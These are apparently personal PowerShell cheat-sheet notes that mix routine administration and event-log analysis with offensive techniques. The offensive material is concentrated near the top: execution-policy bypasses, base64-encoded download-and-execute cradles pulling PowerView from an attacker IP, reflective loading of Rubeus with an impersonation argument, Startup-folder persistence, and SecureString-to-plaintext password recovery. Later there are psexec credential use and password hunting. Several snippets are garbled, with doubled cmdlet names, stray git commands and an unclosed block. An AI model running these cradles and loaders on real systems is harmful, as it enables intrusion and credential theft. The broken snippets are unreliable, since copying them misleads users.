Execution Policy

```
powershell -EncodedCommand $encodedCommand
powershell -ep bypass ./PowerView.ps1

# Change execution policy
Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
Set-ExecutionPolicy Bypass -Scope Process
```

Constrained Mode

```
# Check if we are in a constrained mode
# Values could be: FullLanguage or ConstrainedLanguage
$ExecutionContext.SessionState.LanguageMode

## Bypass
powershell -version 2
```

Encoded Commands

- Windows

```
$command = 'IEX (New-Object Net.WebClient).DownloadString("http://10.10.10.10/PowerView.ps1")'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
```

- Linux: ⚠️ UTF-16LE encoding is required

```
echo 'IEX (New-Object Net.WebClient).DownloadString("http://10.10.10.10/PowerView.ps1")' | iconv -t utf-16le | base64 -w 0
```

Download file

```
# Any version
(New-Object System.Net.WebClient).DownloadFile("http://10.10.10.10/PowerView.ps1", "C:\Windows\Temp\PowerView.ps1")
wget "http://10.10.10.10/taskkill.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"
Import-Module BitsTransfer; Start-BitsTransfer -Source $url -Destination $output

# Powershell 4+
IWR "http://10.10.10.10/binary.exe" -OutFile "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\binary.exe"
Invoke-WebRequest "http://10.10.10.10/binary.exe" -OutFile "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\binary.exe"
```

Load Powershell scripts

```
# Proxy-aware
IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.10/PowerView.ps1')
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/PowerView.ps1') | powershell -noprofile -
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=
[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.10.10.10/PowerView.ps1')|iex"

# Non-proxy aware
$h=new-object -com WinHttp.WinHttpRequest.5.1;$h.open('GET','http://10.10.10.10/PowerView.ps1',$false);$h.send();iex $h.responseText
```

Load C# assembly reflectively

```
# Download and run assembly without arguments
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/rev.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[rev.Program]::Main()

# Download and run Rubeus, with arguments (make sure to split the args)
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/Rubeus.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[Rubeus.Program]::Main("s4u /user:web01$ /rc4:1d77f43d9604e79e5626c6905705801e /impersonateuser:administrator /msdsspn:cifs/file01 /ptt".Split())

# Execute a specific method from an assembly (e.g. a DLL)
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/lib.dll')
$assem = [System.Reflection.Assembly]::Load($data)
$class = $assem.GetType("ClassLibrary1.Class1")
$method = $class.GetMethod("runner")
$method.Invoke(0, $null)
```

Secure String to Plaintext

```
$pass =
"01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be587073000000000200000000000003660000c000000010000000d792a6f34a5523
5c22da98b0c041ce7b0000000004800000a0000000100000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc510
62843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692" | convertto-securestring
$user = "HTB\Tom"
$cred = New-Object System.management.Automation.PSCredential($user, $pass)
$cred.GetNetworkCredential() | fl
UserName       : Tom
Password       : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain         : HTB
```

Quick Commands

- [ ] Powershell find string in file

```
Get-ChildItem -Recurse | Select-String -Pattern "wiki" | Select-Object Path, LineNumber, Pattern
```

- [ ] Powershell Get Hash of file

```
Get-FileHash -Path "/Windows/Windows/System32/ar-SA/access_log" -Algorithm MD5
```

- [ ] Powershell Count objects

```
(Get-ChildItem -Path /Windows -Recurse -Directory).length
```

- [ ] Powershell Get the Creation time of a file

```
(Get-ChildItem-ChildItem -Recurse | Select-String -Pattern "wiki"| Select-Object -First 1).Path `
    | Get-ItemProperty | Select-Object creationtime
```

- [ ] Powershell Expand Commandline history

```
Get-History -id 10 | Select-Object -ExpandProperty CommandLine
```

- [ ] Powershell Set Variable

```
Set-Variable -Name "myvar" -Value "myvalue"
```

- [ ] PowershellBase64 decode

```
[System.Convert]::FromBase64String( "BASE64_HERE" )
```

- [ ] to convert from bytes to string.

```
        [System.Text.Encoding]::UTF8.GetString( )
        [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(((Get-History)[9].Commandline).split("")[1]))
```

- [ ] Powershell View all atributes

```
Get-Job | Format-List *
```

- [ ] PowershellProcesses Associated to users

```
Get-Process -IncludeUserName
```

- [ ] Powershell Expand logs

```
Expand-Archive /Windows/Windows/System32/winevt/Logs/Security.zip -DestinationPath /tmp/logs/
```

- [ ] Powershell Find total Logs in file

```
(Import-Clixml /tmp/security.xml).length
    $logs = (Import-Clixml /tmp/logs/Security.xml)
    (($logs).Id | Select-Object-Object -uniq).length
```

- [ ] PowershellFind value based on object property

```
($logs | Where-Object -Value "4444" -CEQ ID).Properties
```

- [ ] Powershell header inspection

```
foreach ($i in (1..50))  {
        $i;
        $res=(Invoke-WebRequest -Uri "http://127.0.0.1:9999/$i").RawContent;
        if ($res -NotLike "*anumber*") {
          Write-Host $res
          break
        }
      }
```

- [ ] PowershellPowershell Read Stream

```
$tcpClient = [Net.Sockets.TcpClient]::new("127.0.0.1", "55555")
        $tcpStream = $tcpClient.GetStream()
        $reader = [IO.StreamReader]::new($tcpStream)
        Write-Host $reader.ReadLine()
```

- [ ] PowershellPowershell Read Alernate Data Stream of file

```
getfattr -R -n ntfs.streams.list /Windows/Windows/System32/DriverState/Devices/st
        Get-Content /Windows/Windows/System32/DriverState/Devices/file.txt:file.db
        \Program Files (x86)\Mozilla Firefox\gmp-clearkey\0.1\file.zip
```

Command Help

- [ ] Learn about Commands

```
Get-Command "command name"
```

- [ ] Get help for a command

```
Get-Help "command name"
```

- [ ] Get help for a command with examples

```
Get-Help "command name" -Examples
```

- [ ] Get help for a command with examples and full details

```
Get-Help "command name" -Examples -Full
```

- [ ] Get help for a command with examples and full details and online

```
Get-Help "command name" -Examples -Full -Online
```

- [ ] Powershell Verbs

```
Get-Verb | findstr "verb name"
```

Command Information

- [ ] Find module that contains a command

```
Get-Command "command name" | Select-Object -ExpandProperty ModuleName
    Get-Command "command name" | Select-Object -Property Source
```

Aliases

```
Get-Alias "alias name"
```

- [ ] Get all aliases

```
Get-Alias
```

PSRepository

- [ ] Show Module Repository

```
Get-PSRepository
```

- [ ] Search for a module in PSRepository

```
Find-Module "module name" | Select-Object -Property Name,Version,Repository,Description,Author
```

- [ ] Install a module from PSRepository

```
Install-Module "module name"
```

- [ ] Install a module from PSRepository with dependencies

```
Install-Module "module name" -AllowClobber -Force -AllowPrerelease -Scope CurrentUser
```

Get-CIMInstance

- [ ] Get execuatble of process CIM Class

```
Get-CimInstance -ClassName Win32_Process  | Select-Object -Property ExecutablePath
```

- [ ] Specify the name of object to be updated by object name, what member to update, and the value to update

```
Update-TypeData -TypeName "object name" -MemberName "member name" -MemberType "member type" -Value "value"
```

- [ ] get antivirus info

```
Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct
```

- [ ] Find Command Lines launched by svchost.exe

```
(Get-CimInstance -ClassName Win32_Process -Filter "SessionId=2" | Where-Object {$_.Name -eq "svchost.exe"} `
    | Select-Object -Property Name,ProcessId,CommandLine).CommandLine `
```

Processes / Tasks

- [ ] Run a process as administrator

```
Start-Process -verb runas -FilePath "process name"
```

- [ ] Count objects based on a property

```
(Get-ScheduledTask | Get-Member | where-object -Property MemberType -EQ Method).length
```

Files

- [ ] Get-ChildItem show hidden files (gci shorthand for Get-ChildItem)

```
Get-ChildItem-ChildItem -Force
```

- [ ] Retrieve name of the registry provider PSDrive (PSDrive is a drive that is mapped to a provider)

```
Get-PSDrive -PSProvider Registry "name" | format-list * -Force
```

- [ ] Get-Sha1hash for file

```
Get-FileHash -Path "file name" -Algorithm SHA1
```

- [ ] Alternate file stream (AFS) is a feature of NTFS that allows you to store additional data in a file.

ads_Description	Introduced	Write-Cmdlet
ads_Success stream	PowerShell 2.0	Write-Output
ads_Error stream	PowerShell 2.0	Write-Error
ads_Warning stream	PowerShell 2.0	Write-Warning
ads_Verbose stream	PowerShell 2.0	Write-Verbose
ads_Debug stream	PowerShell 2.0	Write-Debug
ads_Information stream	PowerShell 5.0	Write-Information

ads_Description	Introduced	Write-Cmdlet
ads_Progress stream	PowerShell 2.0	Write-Progress

Variables, Functions, Collections, And Operators

- [ ] Variable Definition

```
$variable = "value"
```

- [ ] create a collection of 3 objects with a name property

```
$collection = @(
        [PSCustomObject]@{
           Name = "Name1"
        }
        [PSCustomObject]@{
           Name = "Name2"
        }
        [PSCustomObject]@{
           Name = "Name3"
        }
    )(Get-ScheduledTask | Get-Member | where-object -Property MemberType -EQ Method).length
```

- [ ] return number of items in collection using array property

```
$collection | Measure-Object -Property "array property" | Select-Object -Property Count
```

- [ ] Range Operator character

```
.. (double dot)
```

- [ ] Create function and run it

```
function function-name1 {
        "function body"
    }
    function-name1
```

- [ ] Find invoke-command paramaters

```
Get-Help Invoke-Command -Parameter *
```

- [ ] build in powershell variables local

```
write-host "version of powershell"
    $PSVersionTable
    write-host "edition of powershell"
    $PSEdition
    write-host "location of powershell"
    $PSHOME
```

```
write-host "location of powershell command"
$PSCommandPath
```

- [ ] powershell env session variables

```
$PSModulePath
$PSVersionTable
```

PowerShell Execution Policy

- [ ] Set-StrictMode - Use Set-StrictMode to quickly find errors in your scripts

```
Set-StrictMode -Version Latest
Set-StrictMode -Off
```

Certificates And Signing

- [ ] Create self-signed certificate

```
New-SelfSignedCertificate -DnsName "dns name" -CertStoreLocation "Cert:\CurrentUser\My" -Subject "SEC586DTF" -Type CodeSigning
$thumbprint = "F2DD78FDBE6EE0512BA4FF9B151A54BC450F3DD9"
$cert = Get-ChildItem -Path Cert:\CurrentUser\My\$thumbprint
```

- [ ] export cert and import it into the trusted

```
Export-Certificate -Cert $cert -FilePath "C:\Users\user\Desktop\cert.cer"
Import-Certificate -FilePath "C:\Users\user\Desktop\cert.cer" -CertStoreLocation Cert:\LocalMachine\Root
```

- [ ] Sign a file with a certificate Cert:\CurrentUser\My\thumbprint

```
Set-AuthenticodeSignature -FilePath "C:\Invoke-WorkbookUpdate.ps1" -Certificate $cert
```

- [ ] get the signature of a filet add README.md

```
git commit -m "add README"
git push -u origin master
```

- [ ] Convert existing folder

```
Get-AuthenticodeSignature -FilePath "C:\Invoke-WorkbookUpdate.ps1" | format-list *
```

Get-WinEvent

- [ ] Powershell get-winevent sort by count and EventID from evtx file

```
Invoke-WebRequest -Uri https://github.com/sbousseaden/EVTX-ATTACK-SAMPLES/raw/master/Command%20and%20Control/bits_openvpn.evtx -OutFile .\log.evtx
    Get-WinEvent -Path .\log.evtx | Group-Object -Property ID | Sort-Object -Property Count -Descending
```

- [ ] Powershell get-winevent search for string in message and count

```
$Message_User = $Logs | Where-Object {$_.Message -like "*MSEDGEWIN10\IEUser*"} | Group-Object -Property ID | Sort-Object -Property Count -Descending
    $Message_User
```

- [ ] Powershell get-winevent show completed bits jobs for owner and count

```
Get-WinEvent -Path .\log.evtx | Where-Object {$_.ID -eq 4} | Select-Object -Property Message | Measure-Object
    $CpltJobs = Get-WinEvent -Path .\log.evtx | Where-Object {$_.ID -eq 4} | Select-Object -Property Message
    $CpltJobs | Select-Object -Property Message | Where-Object {$_.message -like "*MSEDGEWIN10\IEUser*"} `
    | Group-Object -PropertY Count | Sort-Object -Property Count -Descending
```

- [ ] FilterXPath

```
Get-WinEvent -Path .\log.evtx -FilterXPath '*[Process[ID=2136] and EventData[(Data[@Name="jobOwner"] = "MSEDGEWIN10\IEUSER")]]' | Measure-Object
```

- [ ] Powershell get-winevent for specific event id and user

```
$2136 = Get-WinEvent -Path .\log.evtx | Select-Object -Property Message | Where-Object {$_.Message -like "*2136*"} `
    | Group-Object -Property Count | Sort-Object -Property Count -Descending
    #
    $2136.Group | Format-List *
    Get-WinEvent -Path C:\temp\bits_openvpn.evtx -FilterXPath '*[EventData[(Data[@Name="processId"] = "2136") and (Data[@Name="jobOwner"] = "MSEDGEWIN10\IEUSER")]]' | Measure-Object
```

- [ ] Powershell get-winevent show completed bits jobs for owner and count

```
Invoke-WebRequest -Uri 'https://github.com/imamimam/EVTX-ATTACK-SAMPLES-/raw/master/Lateral Movement/LM_Remote_Service02_7045.evtx' -OutFile .\log.evtx
```

- [ ] Powershell get-winevent show firewall log stuff

```
Invoke-WebRequest -Uri https://www.somesite.com/win10-pfirewall.log -OutFile C:\temp\win10-pfirewall.log
    $fwLog | Where-Object {$_.action -ne "DROP"} | Group-Object -Property 'dst-port' -NoElement |Sort-Object -Property Count -Descending
    #
    $fwLog = Get-Content C:\Temp\win10-pfirewall.log -ReadCount 1000 | ConvertFrom-Csv -Delimiter ' ' -Header `
    @("date","time","action","protocol","src-ip","dst-ip","src-port","dst-port","size","tcpflags","tcpsyn","tcpack","tcpwin","icmptype","icmpcode","info","path")
    #
    $fwLog | Where-Object {$_.action -eq "ALLOW"}  | Group-Object -Property dst-port | sort -Descending -Property count
```

Software Inventory With Powershell

```
@("HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*","HKLM:\SOFTWARE\Wow6432node\Microsoft\Windows\CurrentVersion\Uninstall\*")
    | ForEach-Object { Get-ItemProperty "$_" | Select-Object DisplayName,PSChildName,Publisher,InstallLocation}
```

Remote Retrieval

- [ ] Download and inspect the Kibana logs at: https://www.somesite.com/kibana.log

```
invoke-webrequest -uri https://www.somesite.com/kibana.log -outfile C:\temp\kibana.log
    $KL = Get-Content C:\temp\kibana.log
    $Responses = $KL | ConvertFrom-Json
    $Responses.res.responseTime | Measure-Object -Maximum -Minimum -Average -Sum -StandardDeviation
```

example output	value
Count	13
Average	52.1538461538462
Sum	678
Maximum	245
Minimum	3
StandardDeviation	85.1076241726186

- [ ] Response time in ms

```
$responseTime = @()
    Get-Content C:\temp\kibana.log |Select-String -Pattern "`"responseTime`":(\d?)" |ForEach-Object {$responseTime += $_.Matches.Groups[1].Value}
    $responseTime | Measure-Object -Average
```

- [ ] Extract http://ip:port from the logs

```
$JL = Get-Content C:\scripts\json.test | ConvertFrom-Json
    $JL.Message | Out-String | Select-String -Pattern "(?<serverAddr>http?:\/\/((?:[0-9'.']{1,20})[':'])?([0-9]{1,5}))" -AllMatches `
    | ForEach-Object {$_.Matches.Groups[0].Value} | write-host
```

Invoke-WebRequest

- [ ] View Header data from Invoke-WebRequest

```
$MyRequest = invoke-webrequest -uri https://www.somesite.org -Headers `
    @{"User-Agent"="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0"} | Select-Object -Property Headers
```

Content -Type -Options

- [ ] View Header data from Invoke-WebRequest

```
Invoke-PowerPlayAnswer -Question "xcto" -Answer "nosniff"
    #Read registry property defining LLMNR status
    $LLMNR = Get-ItemProperty -Path "HKLM:\Software\policies\Microsoft\Windows NT\DNSClient" | Select-Object -ExpandProperty EnableMulticast
if($LLMNR -ne 0){
    #Disable LLMNR"
    Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows
    NT\DNSClient" -Name "EnableMulticast" -Type DWord -Value 0
```

Remote Enumeration:

- [ ] Scan for Neighbors from CAM table

```
$Results = Invoke-Command -ComputerName $ComputerList -ScriptBlock {
    Get-NetNeighbor -AddressFamily IPv4 | Where-Object {$_.LinkLayerAddress -notlike "01-00-5E*" -and $_.LinkLayerAddress -notlike "FF-FF-FF-FF-FF-FF"} }
```

- [ ] Scan for ports

```
$ips = @("172.25.17.14","172.25.17.15")
    $ips | ForEach-Object { $ip=$_; 5585..5586 `
    | ForEach-Object { Test-NetConnection -ComputerName $ip -Port $_ -InformationLevel Quiet }}
```

- [ ] Scan for UDP ports

```
$ips | ForEach-Object { $ip =$_; $UDP = New-Object System.Net.Sockets.UdpClient($ip); $UDP.Connect($ip,$_)
```

- [ ] send data to seim

```
Invoke-RestMethod -Uri "https://www.somesite.com/api/ingest" -Method Post -Body $json -ContentType "application/json"
    function Send-Syslog ($message) {
      $socket = new-object System.Net.Sockets.TCPClient("10.10.10.10","514")
      $tcpstream = $socket.getstream()
      $streamwriter = new-object System.IO.StreamWriter($tcpstream)
      $streamwriter.WriteLine($message)
      $streamwriter.flush();$tcpstream.close();$socket.close()
```

MISACELLANEOUS (NEED TO SORT AND CATEGORIZE STILL)

- [ ] Return SIDs from Registry

```
$SIDs = Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList" | Select-Object -Property Name
```

- [ ] Find command lineces macting pattern with help of regex

```
get-somecommand | Select-String -Pattern "(?<serverAddr>http?:\/\/((?:[0-9'.']{1,20})[':'])?([0-9]{1,5}))" -AllMatches `
    | ForEach-Object {$_.Matches.Groups[0].Value} | write-host
```

- [ ] Count the number of scheduled tasks with the path of the "\Microsoft" directory (to include all subdirectories), and in the "Ready" state.

```
(Get-ScheduledTask | Where-Object {$_.TaskPath -like "Microsoft*" -and $_.State -eq "Ready"}).Count
```

- [ ] powershell 5.1 Find all services that have open paths

```
Get-WmiObject win32_service | Where-Object {$_.PathName -ne ""} | Select-Object -Property Name,PathName
```

- [ ] return path of services

```
Get-WmiObject win32_service | Where-Object {$_.PathName -ne ""} | Select-Object -Property Name,PathName | ForEach-Object {$_.PathName}
```

- [ ] get hashes of all files in a directory

```
Get-ChildItem -Path "C:\Windows\System32" | Get-FileHash -Algorithm MD5
```

- [ ] search for passwords in files
- [ ] search for passwords in files in variable

```
$files = Get-ChildItem -Path "C:\Windows\System32" -Recurse -Filter "*.txt"
```

- [ ] search for passwords in files in variable

```
$MatchStrings = Get-ChildItem -Recurse | Select-String -Pattern "password" | Select-Object Path, LineNumber, Pattern | Format-Table -AutoSize | Out-File -FilePath C:\temp\passwords.txt
```

- [ ] use net share to share windows folder

```
net share myShareData=c:\windows\System32 /grant:everyone,full
```

- [ ] assign drive letter to share with user adminstrator

```
net use z: \\myserver\myShareData /user:administrator /persistent:no
```

- [ ] psexec to read file located on desktop and output do console

```
psexec \\myserver -u administrator -p password -d -i -s cmd.exe /c type c:\users\administrator\desktop\passwords.txt
```

- [ ] psexec copy file from remote server to local server

```
psexec \\myserver -u administrator -p remoteadmin -d -i -s cmd.exe /c copy c:\users\administrator\desktop\psexec-flag1.txt .\flag1.txt
```

- [ ] tasklist list dhcp service

```
tasklist /svc /fi "imagename dh*"
```

- [ ] use invoke webrequest to loop range 1-254 and output to console

```
1..254 | ForEach-Object { Invoke-WebRequest -Uri "http://192.168.20.$_" -UseBasicParsing -TimeoutSec 1 -ErrorAction SilentlyContinue } | Select-Object -Property StatusCode,Uri
```